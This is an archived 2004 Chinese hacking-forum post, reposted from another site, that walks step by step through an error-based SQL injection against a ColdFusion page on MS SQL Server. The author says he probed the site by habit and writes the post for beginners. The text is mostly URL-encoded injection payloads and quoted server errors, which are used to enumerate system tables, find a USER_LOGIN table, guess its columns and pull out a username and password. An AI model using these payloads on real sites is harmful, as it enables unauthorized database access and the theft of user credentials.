邪恶八进制信息安全团队技术讨论组's Archiver

冰血封情 2004-7-8 18:08

[转载]对cfm的一个攻击实例 暴库保密码实例

本文作者: 美丽人生
文章出处: 牛族 [url]www.nz88.net[/url]

好郁闷,快考试了,抽空上上网。到这个地址的时候,习惯性的看看他有没有安全漏洞
[url]http://www.test.com/openaccess/index.cfm?ID=11[/url]
提交

[code]http://www.test.com/openaccess/index.cfm?ID=11;[/code]
返回
[quote]Error Occurred While Processing Request
Error Diagnostic Information
ODBC Error Code = 37000 (Syntax error or access violation)


[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'order'.


The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (72:1) to (72:47).


Date/Time: 06/05/04 13:37:57
Browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Remote Address: 61.178.21.189
Query String: ID=11;[/quote]

其实cfm的攻击也和asp一样简单,看上面的返回信息,比asp的返回还详细。
不过好象对cfm很少有人写,所以就写出来了。上面是mssql的数据库,很多方法都可以用,
为了面向广大的菜鸟爱好者,这里就只说说怎么爆表吧。

对asp的跨cool大家都很熟悉了吧,那么,现在来cool一把cfm!!

提交:

[code]and 0=(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) [/code]

郁闷,没返回我们期待的东西,他不给我,我就换方法要,再来。

提交:

[code]and%201=(Select%20top%201%20name%20from(Select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20T%20order%20by%20id%20desc)[/code]

返回:
[quote]Error Diagnostic Information
ODBC Error Code = 22005 (Error in assignment)


[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'ANALYST_MST' to a column of data type int.

The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (50:2) to (50:51).
。。。。。。[/quote]
看到了吧,哈哈,小竹的这个语句就是猛啊!
现在就一个一个查吧,换掉top%201%20name中的1,从1开始,到6的时候,返回一个期待的东西
[quote]。。。。。。。
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'USER_LOGIN' to a column of data type int.
。。。。。。。[/quote]

看见USER_LOGIN表了吧?说不定就有密码在里面。
现在就看看里面有什么东西:(胜利就在眼前了,冲啊。。。)
提交:
[code]and%201=(Select%20Top%201%20col_name(object_id('USER_LOGIN'),1)%20from%20sysobjects)[/code]
返回:
[quote]。。。。。
Microsoft][ODBC SQL Server Driver][SQL Server]Line 2: Incorrect syntax near 'USER_LOGIN'.
。。。。。[/quote]
我倒!!怎么这样!吸根烟再说。干脆用猜吧,像
[code]and 1=(select%20user_id%20from%20USER_LOGIN)[/code]
猜不出来再说了。。。

出来了,哈哈,user_id,
连续提交,得到几个字段
user_id user password,没办法啊,100%的猜中率。
好了,已经到了最后一步了,我们继续来啊!!
[code]and%200=(select%20user%20from%20USER_LOGIN%20where%20user>1)[/code]
出来了,用户是kimeng,下面爆他的密码:
[code]and%200=(select%20password%20from%20USER_LOGIN%20where%20password>1)[/code]

哈哈,出来了,不好意思,马赛克处理*****
随便写写,没什么技术活。
一个月前写的烂文,从牛族拿出来了...哎...

页: [1]
© 1999-2008 EvilOctal Security Team